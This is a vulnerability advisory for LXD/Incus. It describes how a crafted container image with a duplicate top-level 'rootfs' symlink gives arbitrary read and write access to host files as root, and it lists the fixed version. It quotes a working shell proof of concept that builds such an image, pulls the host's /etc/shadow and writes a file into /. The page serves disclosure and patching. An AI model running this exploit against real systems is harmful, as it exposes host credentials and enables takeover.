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9.9

LXD can let attackers read or write host files

published 15 days ago
Summary

LXD may allow a specially crafted container image to access any file on the server, including system files, with full administrator rights. This means an attacker could view sensitive data or place malicious scripts on the host. Apply the latest LXD updates and only use images from trusted sources.

What to do
  • Update canonical github.com/canonical/lxd to version 0.0.0-20260630083100-c5184be310b1.
Affected software
Ecosystem VendorProductAffected versions
Go canonical github.com/canonical/lxd < 0.0.0-20260630083100-c5184be310b1
Fix: upgrade to 0.0.0-20260630083100-c5184be310b1
Original advisory text
LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image
Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv

### Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.


### Details

Incus validates an image as soon as it sees a normal `metadata.yaml` and
a `rootfs/` entry, but full extraction can later process a duplicate top-level
`rootfs` symlink. Later, the stopped-container file API opens
`d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to
it.

```
metadata.yaml
rootfs/
rootfs -> /
```

In practice, this allows a malicious actor to access the host's filesystem
with root privileges.


### PoC

Below, we map the container's rootfs to `/` on the host, but it can be
mapped anywhere. We then retrieve the host's `/etc/shadow` file and
create a file in `/`.

```
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
```

### Impact

Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.
Fix within
Internet-facing 14 days
Internal At next upgrade
  • Not known to be exploited
  • Needs hands-on effort to exploit (estimated)
  • Gives an attacker full control (estimated)
Severity
9.9 Critical
Type
CWE-73External Control of File Name or Path
Timeline
Published6 Nov 2026
Updated6 Nov 2026
First seen6 Nov 2026
Sources
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